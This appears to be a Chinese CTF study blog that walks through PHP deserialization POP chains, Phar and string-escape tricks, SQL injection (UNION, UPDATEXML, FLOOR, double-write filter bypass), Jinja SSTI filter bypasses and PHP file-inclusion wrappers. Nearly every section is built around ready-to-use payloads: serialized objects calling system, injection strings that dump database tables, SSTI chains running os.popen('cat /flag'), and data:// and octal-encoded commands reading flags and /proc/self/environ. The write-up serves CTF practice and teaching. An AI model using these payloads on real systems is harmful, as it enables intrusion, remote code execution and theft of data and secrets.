$c=new w44m();
$b->w00m=$c;
最后为了通过字段验证,为 w44m 的成员 $c 赋值有
$c->admin="w44m";
$c->passwd="08067";
整合则获得脚本
1 |
|
执行以后获得
O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:5:"admin";s:4:"w44m";s:6:"passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}
但 admin 是私有 passwd 是保护
O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{``s:11:"%00w44m%00admin"``;s:4:"w44m";``s:9:"%00*%00passwd"``;s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}
私有加 %00 类名 %00
保护加 %00*%00 即得 flag

例 2 [极客大挑战 2021]babyPOP
1 |
|
这题有点不一样,我们要将 $a 的两个参数全设为 true 才能正常进行命令执行
但有个非常棘手的问题,就是 c 类的 wakeup 不能引起任何传递,所以这题被反序列化的元素绝对不只一个
而对于多个元素,我们能对它们同时进行反序列化,格式是这样
1 | $payload = serialize([$c,$e]); |
这里链头一定是$c和$e,因为$c的wakeup会引发$e 中__destruct()的触发
因此很容易分析出脚本
1 |
|
字符串逃逸
字符串逃逸,本质上是利用过滤机制修改结构
例 3 逃
1 |
|
这题其实答案很简单,因为序列化的结构都能让我们自己编,我们为字符”php”转化为”stop”留足空间即可
1 | O:4:"test":2:{s:4:"user";s:4:"php";s:4:"pswd";s:8:"escaping";} |
Phar
Phar 文件的反序列化漏洞利用点在于,当 PHP 文件操作函数(如 file_get_contents、copy 等)通过 phar:// 协议访问文件时,会自动反序列化 meta-data,从而触发漏洞。
Phar 反序列化的核心是构造合适的 POP 链。以下是一个简单的利用链示例:
1 | class Exploit { |
如果一道题,他不给你反序列化的机会,又形似 pop 链,那就是 Phar 协议题
因为 phar 协议会主动调用反序列化
此外 phar 文件的后缀名可以不是 phar,只要文件内容是 phar,在文件包含时就可被读取
session
设置读方法不设置写方法,写方法会默认为 php,记住这一点即可

例如本题(存在两个 php 程序供访问)
1 |
|

我们只用在后一个传
1 | |O:4:"Test":1:{s:4:"code";s:10:"phpinfo();";} |
即可执行命令

反序列化专题训练
[NewStarCTF 公开赛赛道/POP 链构造]UnserializeOne
1 | <?php |
做这题前,我们先来复习几个函数 带参数的 call,isset 和 clone
call 的第 1,2 参数不是自己编的,而是和调用的函数名和内容有关,第一个参数为函数名,第二个参数为内容
1 | class Test { |
当访问不存在的变量或无权访问的变量时,isset 会被执行
1 | public function __isset($var) |
当类中对象被克隆时,clone 会被调用
我们顺向思维,编辑 pop 链
1 | $a=new Start(); |
首先 start 类的 a 执行析构函数,易见得下一步激活 b 的 tostring
1 | $a->name=$b; |
b 的 tostring 激活后,我们发现 check 函数无法访问,能够激活 c 的 call
1 | $b->obj=$c; |
$c的call执行后,应该需执行$d 的__clone
而作为不存在的 check 函数的第一个参数会被赋做 var[0]
必然有
1 | $b->var=$d; |
往后走,注意到 cmd 这个参数不存在,能够激活 $a 的 isset
我们需要访问$a的cmd,可以利用$d 的 clone
1 | $d->obj=$a; |
isset 执行,func 函数被调用,最后我们需要执行 b 中的 invoke
1 | $a->func=$b; |
分析完毕,构成脚本
1 |
|
结果是这样
1 | O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";r:1;}}s:4:"func";r:2;} |
加上权限修饰,就是这样
1 | O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:8:"%00Sec%00obj";O:4:"Easy":1:{s:3:"cla";N;}s:8:"%00Sec%00var";O:4:"eeee":1:{s:3:"obj";r:1;}}s:7:"%00*%00func";r:2;} |
赛题:
74D839D98630E280DF752E8939454A6B
21232F297A57A5A743894A0E4A801FC3
1 | O:6:"Galaxy":4:{s:12:"%00Galaxy%00core";s:5:"admin";s:13:"%00Galaxy%00orbit";s:32:"21232F297A57A5A743894A0E4A801FC3";s:14:"%00Galaxy%00signal";s:3:"573";s:14:"%00Galaxy%00nebula";N;} |
[NewStarCTF 公开赛赛道/phar 协议]UnserializeThree
拿到题目,是文件上传的界面

查看源码,发现路由 class.php

回显 php
1 |
|
construct 方法存在,但没有反序列化的函数,故推知为 phar 协议
我们用 URL 绕过注释
1 |
|
改拓展名为 shell.jpg,点上传
提示文件路径:

在 class.php 中,用 phar 协议访问,即得 flag
1 | http://b6563cb3-26a9-4fc0-a569-8ff6eebf3493.node5.buuoj.cn:81/class.php?file=phar://upload/bec0b453120e20421b379d7f007e73f1.png |

[HNCTF 2022 WEEK2/文件包含与绕过 wakeup]easy_unser
1 | <?php |
注意到只有上面这个类有用,我们只用把 $want 改成所读的文件就能读文件了
这里我们用文件包含伪协议
php://filter/resource=f14g.php
很容易就能构造
1 | O:4:"body":3:{s:10:"%00body%00want";s:30:"php://filter/resource=f14g.php";s:11:"todonothing";N;} |
其中 want 为 private 要修改格式
wakeup 要用成员数 +1 绕过
其余不变,注意字符数量

[NewStarCTF 2023 公开赛道/字符串逃逸]逃
1 |
|
读题,是用 good 替换所有 bad,为了方便描述,我们生成一个序列化数据观察一下
1 | O:7:"GetFlag":2:{s:3:"key";s:28:"bad";s:3:"cmd";s:8:"cat /fl*";} |
这就是序列化大致的结果,后面这一堆是我们理想调整的 cmd 值
我们无法直接调整 cmd 的值,需要靠字符串增多
如果 bad 替换成了 good,就相当于往后推了一个字符(绿)
1 | O:7:"GetFlag":2:{s:3:"key";s:28:"good";s:3:"cmd";s:8:"cat /fl*";} |
而我们的目标是把橙色的双引号以及后面的字符全部推出去
观察字符串
1 | ";s:3:"cmd";s:8:"cat /fl* |
共计 25 个字符
因此
1 | O:7:"GetFlag":2:{s:3:"key";s:100:"bad*25";s:3:"cmd";s:8:"cat /fl*";} |
能够被推至
1 | O:7:"GetFlag":2:{s:3:"key";s:100:"good*25";s:3:"cmd";s:8:"cat /fl*";} |
注意最后的双引号也要被推出来
恰好符合格式
这样我们的 payload 应该是
1 | ?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:8:"cat /fl* |
其中 bad 一共 25 个
[11.6]专题复习·SQL 注入
简单的轻过滤
[SWPUCTF2021]sql·UNION 法
UNION 联合注入我们很熟悉,我们通过一个简单的轻过滤 UNION 注入来热身
1’ 很明显是单引号闭合

推断空格被过滤了,使用//环境似乎不支持?(后来发现是支持,但是我语法错了 他还是会照样回显//)

于是采用 %09;–+ #注释全无果,采用’闭合

列名判断错误,重新推断列名后确定为 3,且回显位为 2,3
1 | wllm=-1'%09UNION%09SELECT%091,2,3%09' |
使用
1 | wllm=-1'%09UNION%09SELECT%091,group_concat(TABLE_NAME),3%09FROM%09information_schema.tables%09WHERE%09table_schema=database()' |
等号又被过滤了

我们用 like 绕过等号过滤,显示的长度限制很重,故采用 mid 函数
1 | -1'%09UNION%09SELECT%091,MID((group_concat(TABLE_NAME)),1,30),3/**/FROM%09information_schema.tables%09WHERE%09table_schema%09LIKE%09DATABASE()%09%23 |

那这绝壁是 flag 的所在表了,来看看列名
1 | -1'%09UNION%09SELECT%091,MID((group_concat(COLUMN_NAME)),1,30),3/**/FROM%09information_schema.columns%09WHERE%09table_schema%09LIKE%09DATABASE()%09AND%09table_name%09LIKE%09'LTLT_flag'%09%23 |
麻了 又被过滤了,好像是 and,改成&&
1 | -1'%09UNION%09SELECT%091,MID((group_concat(COLUMN_NAME)),1,30),3/**/FROM%09information_schema.columns%09WHERE%09table_schema%09LIKE%09DATABASE()%09&&%09table_name%09LIKE%09'LTLT_flag'%09%23 |
还是报错

那就不筛选 table_schema 了
1 | -1'%09UNION%09SELECT%091,MID((group_concat(COLUMN_NAME)),1,30),3/**/FROM%09information_schema.columns%09WHERE%09table_name%09LIKE%09'LTLT_flag'%09%23 |

找到 flag 列
1 | -1'%09UNION%09SELECT%091,MID((group_concat(flag)),1,30),3/**/FROM%09LTLT_flag%09%23 |
NSSCTF{c20a7033-a851
1 | -1'%09UNION%09SELECT%091,MID((group_concat(flag)),21,40),3/**/FROM%09LTLT_flag%09%23 |
-4178-bee4-a3e568f7b
1 | -1'%09UNION%09SELECT%091,MID((group_concat(flag)),41,60),3/**/FROM%09LTLT_flag%09%23 |
a2e}
合起来就是
1 | NSSCTF{c20a7033-a851-4178-bee4-a3e568f7ba2e} |
运行通过
用到的过滤知识
- 空格=>/**/或 %09 或 %0A
- 注释=>%23
- 等号=>LIKE
- AND 用&&不好使,但是 OR 用 || 有用
- 搜了一下&&用 %26%26 就有用了
所以#,&一定要 URL 编码,| 可以不需要
报错注入法
[SWPUCTF2021]easy_sql·UPDATEXML 法
接下来是我们用的非常少的报错注入,这里选用一直没用过的 UPDATEXML,但题面选了个很简单的
这里我们直接跳过判断,是单引号闭合
try:
1 | -1' AND 1=UPDATEXML(1,CONCAT('~',(SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE())),3) --+ |
查表名,发现两个表名

Try:
1 | -1' AND 1=UPDATEXML(1,CONCAT('~',(SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME = 'test_tb')),3) --+ |
在 test_tb 中查列名 注意等号跟着双引号

Try:
1 | -1' AND 1=UPDATEXML(1,CONCAT('~',(SELECT flag FROM test_tb)),3) --+ |
显示一半
这里我们也用两个方法获取下半部分
MID+GROUPCONCAT
1 | -1' AND 1=UPDATEXML(1,CONCAT('~',(SELECT MID(GROUP_CONCAT(flag),20,40) FROM test_tb)),3) --+ |

SUBSTR+GROUPCONCAT
1 | -1' AND 1=UPDATEXML(1,CONCAT('~',(SELECT SUBSTR(GROUP_CONCAT(flag),20,40) FROM test_tb)),3) --+ |

sqlilab-1 FLOOR 法
floor 报错也是我们必须掌握的内容,在这道题中试试吧
我们依旧要在一开始判断回显位是单引号
1 | 1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) _--+_ |
蓝字是我们需要改的地方,由于 floor 报错一次只显示一个元素,所以我们只能调整 limit 行号
黄底比赛结束全删了
1 | limit 0,1 |
行号为 0 时,找到一个表名为 email

我们依次输入 1,2,3 行号演示一下,注意黄标
1 | 1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) _--+_ |

1 | 1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a) _--+_ |

注意到了表名 flag,再来列名
1 | 1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a) _--+_ |
注意我们需要修改的只有蓝字,后面的绿字 information_schema.tables 不用改
1 | 1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) _--+_ |
这是行号为 0 时的结果

我们再来尝试行号为 1
1 | 1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) _--+_ |
发现 flag 列,注意后面的 1 不是名字

最后,只需要读内容即可,保留 limit 0,1
注意这里又需要用 mid 限制输出长度,否则会报出输出需在一行之内;
前面我们用 limit 限制的是本身的”行号”,防止输出多行
而这里用 mid 限制的是为了防止输出超出一行的字符数
虽然报错内容相同,但是原理不同
1 | 1' and (select 1 from (select count(*),concat((select mid(group_concat(flag),0,15) from flag limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) _--+_ |

在 floor 报错中,如果出现正常回显不报错了,说明本行不存在
此外在遇到输出限制时,输出内容才加 group_concat,无限制时不能加
1 | 1' and (select 1 from (select count(*),concat((select flag,0,15 from flag limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) _--+_ |
即可
限制输出问题
总结下来就是,floor 报错一共会有两个地方引起输出限制
一个是忘加 limit,使得原本就是好几行的数据没办法输出来
另一个就是输出一行时超过了输出的限制,如果出现这个限制,才用 mid 函数修复,不用则正常打印内容
1 | O:6:"Galaxy":4:{s:4:"core";a:1:{i:0;i:1;}S:5:"or\62it";a:1:{i:0;i:2;}s:6:"signal";s:5:"80630";s:6:"nebula";O:6:"Pulsar":2:{s:6:"engine";a:2:{i:0;s:9:"Supernova";i:1;s:5:"burst";}s:12:"transmission";O:9:"VoidSpace":2:{s:6:"matter";s:11:"singularity";s:12:"eventHorizon";O:12:"EventHorizon":2:{s:18:"%00EventHorizon%00disk";O:11:"Singularity":1:{s:4:"data";O:6:"Export":2:{s:4:"hope";s:6:"system";s:5:"light";s:2:"ls";}}s:25:"%00EventHorizon%00singularity";s:3:"J4t";}}}} |
1 | O:6:"Galaxy":4:{s:4:"core";a:1:{i:0;i:1;}S:5:"or\62it";a:1:{i:0;i:2;}s:6:"signal";s:5:"80630";s:6:"nebula";O:6:"Pulsar":2:{s:6:"engine";a:2:{i:0;s:9:"Supernova";i:1;s:5:"burst";}s:12:"transmission";O:9:"VoidSpace":2:{s:6:"matter";s:11:"singularity";s:12:"eventHorizon";O:12:"EventHorizon":2:{s:18:"%00EventHorizon%00disk";O:11:"Singularity":1:{s:4:"data";O:6:"Export":2:{s:4:"hope";N;s:5:"light";N;}}s:25:"%00EventHorizon%00singularity";s:3:"J4t";}}}} |
1 | ?exit=O:6:"Galaxy":4:{s:4:"core";a:1:{i:0;i:1;}S:5:"or\62it";a:1:{i:0;i:2;}s:6:"signal";s:5:"80630";s:6:"nebula";O:6:"Pulsar":2:{s:6:"engine";a:2:{i:0;s:9:"Supernova";i:1;s:5:"burst";}s:12:"transmission";O:9:"VoidSpace":2:{s:6:"matter";s:11:"singularity";s:12:"eventHorizon";O:12:"EventHorizon":2:{s:18:"%00EventHorizon%00disk";O:11:"Singularity":1:{s:4:"data";O:6:"Export":2:{s:4:"hope";s:6:"system";s:5:"light";s:22:"cat /proc/self/environ";}}s:25:"%00EventHorizon%00singularity";s:3:"J4t";}}}} |
双写绕过问题
有的题的过滤不是 WAF,是字符替换,需要双写绕过,手注来说更简单,因为一般 UNION 就能搞定,但是没办法用
Sqlmap
这种题判断起来也不难,如果你输一个你保证语法没问题的命令,它还是报错,那很有可能就是双写绕过了,比方说这题
[极客大挑战 2019]BabySQL-revenge
判断闭合方式就不说了,单引号闭合
1 | 1' UNION SELECT 1 # |
语法没错,如果顺利运行的话应该会报列数是否正确
但它报错了,说明很可能是双写绕过

使用
1 | 1' UNUNIONION SESELECTLECT 1 # |
果真返回了我们想要的

用
1 | 1' UNUNIONION SESELECTLECT 1,2,3 # |
判断列数为 3 回显位为 2 3

下一步理因的 payload 是这样
1 | -1' UNUNIONION SESELECTLECT 1,group_concat(TABLE_NAME),3 FROM information_schema.tables WHERE table_schema=database() # |
但肯定有被过滤的

我们观察到.tables 后面的 WHERE 不见了,把 WHERE 双写一下
1 | -1' UNUNIONION SESELECTLECT 1,group_concat(TABLE_NAME),3 FROM information_schema.tables WHWHEREERE table_schema=database() # |
还是继续报错,但 WHERE 出来了

盲猜一手是 or 被过滤了,这怎么判断呢
我们可以使用 or 1=1 #
1 | 1' UNUNIONION SESELECTLECT 1,2,3 or 1=1 # |
果然报错了

双写一下试试
1 | 1' UNUNIONION SESELECTLECT 1,2,3 oorr 1=1 # |
通过了

因此可以判断就是 or 被过滤了
1 | -1' UNUNIONION SESELECTLECT 1,group_concat(TABLE_NAME),3 FROM infoorrmation_schema.tables WHWHEREERE table_schema=database() # |

还是报错,我们几乎没有可以再猜的地方了,显示了 table,schema,它们肯定都没报错,有鬼的要么就是 group_concat 的部分,要么就是 from,先试试 from
1 | -1' UNUNIONION SESELECTLECT 1,group_concat(TABLE_NAME),3 FRFROMOM infoorrmation_schema.tables WHWHEREERE table_schema=database() # |
逆天,过了

那好办了,看看哪个表里面有 flag 呗
1 | -1' UNUNIONION SESELECTLECT 1,group_concat(COLUMN_NAME),3 FRFROMOM infoorrmation_schema.columns WHWHEREERE table_schema=database() and table_name='b4bsql' # |
包会报错的,我就猜 and 会报错

双写 and
1 | -1' UNUNIONION SESELECTLECT 1,group_concat(COLUMN_NAME),3 FRFROMOM infoorrmation_schema.columns WHWHEREERE table_schema=database() aandnd table_name='b4bsql' # |
过了,没看到 🚩,看看另一个表

1 | -1' UNUNIONION SESELECTLECT 1,group_concat(COLUMN_NAME),3 FRFROMOM infoorrmation_schema.columns WHWHEREERE table_schema=database() aandnd table_name='geekuser' # |
奇怪了,咋回显都一样

看看别的数据库呢
1 | -1' UNUNIONION SESELECTLECT 1,group_concat(SCHEMA_NAME),3 FRFROMOM infoorrmation_schema.schemata # |
看源码,发现有个 ctf 很可疑

看看呗
1 | -1' UNUNIONION SESELECTLECT 1,group_concat(TABLE_NAME),3 FRFROMOM infoorrmation_schema.tables WHWHEREERE table_schema='ctf' # |
答案就在眼前了

查列名吧
1 | -1' UNUNIONION SESELECTLECT 1,group_concat(COLUMN_NAME),3 FRFROMOM infoorrmation_schema.columns WHWHEREERE table_schema='ctf' aandnd table_name='Flag' # |
列也叫 flag

那答案出来了
1 | -1' UNUNIONION SESELECTLECT 1,group_concat(flag),3 FRFROMOM ctf.Flag # |

[11.7]专题复习·SSTI 注入
对于 SSTI 注入,我们对几个点进行强化
os 模块执行命令
命令执行
有的题 os 模块未被禁用,可以直接用 getitem+os 模块执行命令,同时这个方法还没有用到中括号
1 | {{config.__class__.__init__.__globals__.__getitem__('os').popen('cat /flag').read()}} |

绕过轻过滤
我们用一道题解析一下绕过双括号过滤和字符过滤
[MoeCTF·21]绕过双括号和字符过滤
这题在 hint 中告诉了你过滤的东西,分别是我们需重点掌握的双下划线__,特定字符 global 和双大括号
1 | blacklist = ["__", "global", "{{", "}}"] |
其中绕过双大括号的方法很简单
1 | {{7*7}} |
等价于
1 | {%print(7*7)%} |

而绕过__和 global,我们可以使用中括号代替点与’+’分隔绕过,注意两个方法缺一不可,因为’+’只对字符串生效

例如
1 | {%print(().__class__)%} |
等价于
1 | {%print(()['_'+'_class_'+'_'])%} |
注意两端的’
注:有的时候’+’和’’都能够起分隔作用

那么本题用
1 | {%print(url_for['_'+'_glo'+'bals_'+'_'].os.popen('cat /fl*').read())%} |
等价
1 | {%print(url_for.__globals__.os.popen('cat /fl*').read())%} |
即可获得 flag

绕过中括号过滤
1 | {{config.__class__.__init__.__globals__.__getitem__('os').popen('cat /flag').read()}} |
使用形如这样的 os 模块执行命令,通常可以绕过中括号过滤,但如果双横线和中括号都过滤了呢?
这些__class__的字符和双下划线__如果还过滤了,就变成了棘手的问题
我们必须用两步处理
首先这种原命令就是’’.class.base,我们没法转换成’’[‘class‘][‘base‘]
我们可以利用管道控制符 | 代替.,用 attr(‘class‘)代替__class__
1 | ''|attr('_'+'_class_'+'_')|attr('_'+'_base_'+'_') |

其次原本就是中括号[‘字符’]或者[数字]的,要借助 getitem,像这样
1 | ?password={{().__class__.__base__.__subclasses__()[91].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}} |
等价于
1 | password={{().__class__.__base__.__subclasses__().__getitem__(91).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls").read()')}} |
合起来就是
1 | password={{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(91)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("ls").read()')}} |
1 | {%print(config|attr('__class__')|attr('__init__')|attr('__globals__')|attr('__getitem__')('o''s')|attr('popen('ls')')|attr('read')())%} |
注意看清楚(91)的位置,这个 91 很搞人,.getitem也要化成|attr('getitem'),后面没有点就严格不加点
调试脚本时,用这个,改 91 这个数字就行了,它可以绕过中括号,也绕过了特殊字符,甚至还绕过了句点过滤
1 | password={{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(91)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')}} |
再绕过双大括号,是这样
1 | {%print(()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(91)|attr('__in'+'it__')|attr('__globals__')|attr('__getitem__')('__builtins__'))%} |
实机效果:
1 | {%print(()|attr('__cla'+'ss__')|attr('__bas'+'e__')|attr('__subcl'+'asses__')()|attr('__getitem__')(91)|attr('__in'+'it__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("ca'+'t /fl*").read()'))%} |

脚本 SSTI
我们用一个需要用脚本找到序号的题,来复习脚本 SSTI;这题还存在双引号过滤,不过很简单,可以看看
[NewStar 公开赛]BabySSTI_Two
注意到这题过滤了 attr

我们采用中括号绕过
1 | {%print(config.__class__.__init__.__globals__.__getitem__('os').popen('cat /flag').read())%} |
1 | {%print(()['__class__']['__base__']['__subclasses__']()['__getitem__'](91)['__in'+'it__']['__globals__']['__getitem__']('__builtins__'))%} |
提示被过滤了

经排查,绕过特定字符和加号过滤:
1 | {%print(()['__cla''ss__']['__ba''se__']['__subcla''sses__']()['__getitem__'](91)['__in''it__']['__glo''bals__']['__getitem__']('__bui''ltins__'))%} |
回显了一大堆,里面其实有 eval,可以直接引用 91,但我们还是跑个脚本看看
注意一定是先看到正确的回显再去调脚本

脚本里面也有很多要注意的地方
1 | import requests |
比如 91 要改成 "+str(i)+",要及时改黄底的变量名和请求类型
启动脚本,输出一大堆,我们选择 64

添加后面的命令
1 | {%print(()['__cla''ss__']['__ba''se__']['__subcla''sses__']()['__getitem__'](64)['__in''it__']['__glo''bals__']['__getitem__']('__bui''ltins__')['__getitem__']('eval')('__import__("os").popen("ls").read()'))%} |
又没了,经排查修改代码,注意这里有双引号绕过,提一嘴,字符串内原本就是双引号的,如果要变单引号一定要改成'而不是直接’,不然出现语法错误

1 | {%print(()['__cla''ss__']['__ba''se__']['__subcla''sses__']()['__getitem__'](64)['__in''it__']['__glo''bals__']['__getitem__']('__bui''ltins__')['__getitem__']('ev''al')('__import__(\'os\').po''pen(\'ls\').read()'))%} |

1 | {%print(()['__cla''ss__']['__ba''se__']['__subcla''sses__']()['__getitem__'](64)['__in''it__']['__glo''bals__']['__getitem__']('__bui''ltins__')['__getitem__']('ev''al')('__import__(\'os\').po''pen(\'ca''t${IFS}app.py\').read()'))%} |

发现也是过滤了那么多
1 | {%print(()['__cla''ss__']['__ba''se__']['__subcla''sses__']()['__getitem__'](64)['__in''it__']['__glo''bals__']['__getitem__']('__bui''ltins__')['__getitem__']('ev''al')('__import__(\'os\').po''pen(\'ca''t${IFS}/fl*\').read()'))%} |

就得到答案了
Unicode 绕过单下划线
众所周知,SSTI 题过滤是 WAF 过滤,是在网关处检测的
我们可以用 unicode 码代替所有的字符,但前提是代替的字符在引号之内(也要在大括号之内),所以必须配合中括号或者 attr 使用
例如我们输
1 | '\u005f' |
根本不会被解析

如果是
1 | {{\u005f}} |
会直接报错
必须是
1 | {{'\u005f'}} |
才可被很好的解析

因此我们第三题,只需要用这个很简单的方法,就可以构造出相当具有杀伤力的 payload
[NewStar 公开赛]BabySSTI_Three
1 | {{()['\u005f''\u005fcla''ss\u005f''\u005f']['\u005f''\u005fba''se\u005f''\u005f']['\u005f''\u005fsubcla''sses\u005f''\u005f']()['\u005f''\u005fgetitem\u005f''\u005f'](64)['\u005f''\u005fin''it\u005f''\u005f']['\u005f''\u005fglo''bals\u005f''\u005f']['\u005f''\u005fgetitem\u005f''\u005f']('\u005f''\u005fbui''ltins\u005f''\u005f')['\u005f''\u005fgetitem\u005f''\u005f']('ev''al')('\u005f''\u005fimport\u005f''\u005f(\'os\').po''pen(\'c''at${IFS}/fl*\').read()')}} |

[11.8]专题复习·文件包含&http
最后,我们再来复习一下文件包含
**文件包含漏洞 **通常出现在动态⽹⻚中,有时候由于⽹站功能需求,会让前端用户选择要包含的⽂件,
⽽开发⼈员⼜没有对要包含的⽂件进⾏安全考虑,⽐如:_对传⼊的⽂件名没有经过合理的校验,或者 _
校检被绕过,就导致攻击者可以通过修改⽂件的位置来让后台包含任意⽂件,从⽽导致⽂件包含漏
洞。
我们还是通过文件包含 lab 来复习最初的知识点
PHPinclude-labs-revenge
level1-file 伪协议及注意事项
1 |
|
本关我们只能填 file 协议的参数,这里尝试利用 file 协议读/flag.php
1 | **Warning**: include(file:///flag.php): failed to open stream: No such file or directory in **/var/www/html/index.php** on line **39** |
看来文件不存在,我们顺便学习了这两点
引入file协议后你只能使用绝对路径。
其次,由于include函数的特性,你引入的文件如果内容符合php语法,那么他会被执行,这也就意味着我们无法通过file协议或者直接使用include方式去获取``存储在变量中的flag。
第二点贴一道昨天做过的题,采用 php 协议就可以获取了,甚至 php 协议还可以写相对路径
我们选择读取根目录下的 flag 文件
1 | wrappers=/flag |

level2-data 伪协议及注意事项
1 |
|
在特定环境下,传入 data 协议,能够直接执行代码;当然如黄底提示,也可按正确的格式使用 base64 编码
这一关似乎环境有问题,我们按要求传入
1 | ?wrappers=, phpinfo(); |
后系统报错
原来在php中单行是不用加分号的

输出


在某些环境会报错
我们重新传
1 | ?wrappers=, system('cat /fl*') |
不要加分号 即可通过

level3-data 协议绕过过滤
1 |
|
这一关添加了过滤,我们可以用 base64 的方法
将 <?php system('cat /fl*') ?> 进行 base64 编码后:
1 | PD9waHAgc3lzdGVtKCdscycpID8+ |
加上格式
1 | ?wrappers=;base64,PD9waHAgc3lzdGVtKCdscycpID8+ |
加号被毙了。。
那只能想办法绕过这个括号
我们采取反引号 + 八进制绕过
1 | ?wrappers=, echo `\143\141\164 \57\146\154\141\147` |
这里要注意一点的是,反引号比较特殊,他里面本来就是字符串,外面不用再填引号
而且也不用写成这样的 $ 形式
1 | $'\143\141\164' $'\57\146\154\141\147' |
level4~5-http 协议
这几乎是 ssrf 的知识了,怪不得之前做不出,这里可以直接跳过
不过记住一下其依赖的配置
1 | 依赖:allow_url_fopen:On;allow_url_include:On; |
level6-php 协议
1 | include("get_flag.php"); |
1 | filter/read=convert.base64-encode/resource=flag.php |
这里比较容易想到如上的答案,直接拿 filter//读很多环境会运行而解析不出
回显
1 | PD9waHAgJGZsYWcgPSAiR2Vlc2Vje2RiZTFiM2IxLWRjOWMtNGVmNy1hNjRkLWY2MjA1NTU5ZjQxZn0KIjsgPz4= |
解码
1 | $flag = "Geesec{dbe1b3b1-dc9c-4ef7-a64d-f6205559f41f} |
level7-php://input
由于 hackbar 暂不支持 本题跳过
1 |
|
level8-php 过滤器
1 |
|
单纯的字符串过滤器解决不了,我们就用 base64
1 | filter/read=convert.base64-encode/resource=flag.php |
回显
1 | PD9waHAgJGZsYWcgPSAiR2Vlc2Vje2Y4YjA5MTFhLWI3MWItNDViZS1iYmVjLWFjYjdiNjk5MzVmNn0KIjsgPz4= |
1 | $flag = "Geesec{f8b0911a-b71b-45be-bbec-acb7b69935f6} |
直接读/flag 是一样的
1 | filter//resource=/flag |

level9-php 过滤器
还是在讲这个问题,跳过
level10-文件包含函数 get
1 | include("get_flag.php"); |
使用 file 协议和 php 协议都可以,且这个函数不会解析并运行 php 文件
1 | file:///flag |
level11-文件包含函数 put
1 | <?php |
这个是我们先绕过过滤把代码写到新建的文件中,然后直接用网页访问这个文件
因为文件是直接放在工作目录下的

访问就行

http
X-Forwarded-For
X-Forwarded-For 是一个 HTTP 扩展头,主要用于在 HTTP 请求经过代理服务器(如 Nginx、CDN、负载均衡器)时,记录客户端的原始 IP 地址。
可以填 127.0.0.1 解决 Not location
Referer
记录从哪来
改请求方式
POST 就右键点请求方式,他会自动修改 content-type
其他的方式直接修改名字即可
![CVE-2022-47615[任意文件读取]](/img/BqvBbcdufoB3S8xJ1FQcnMsenkh.png)

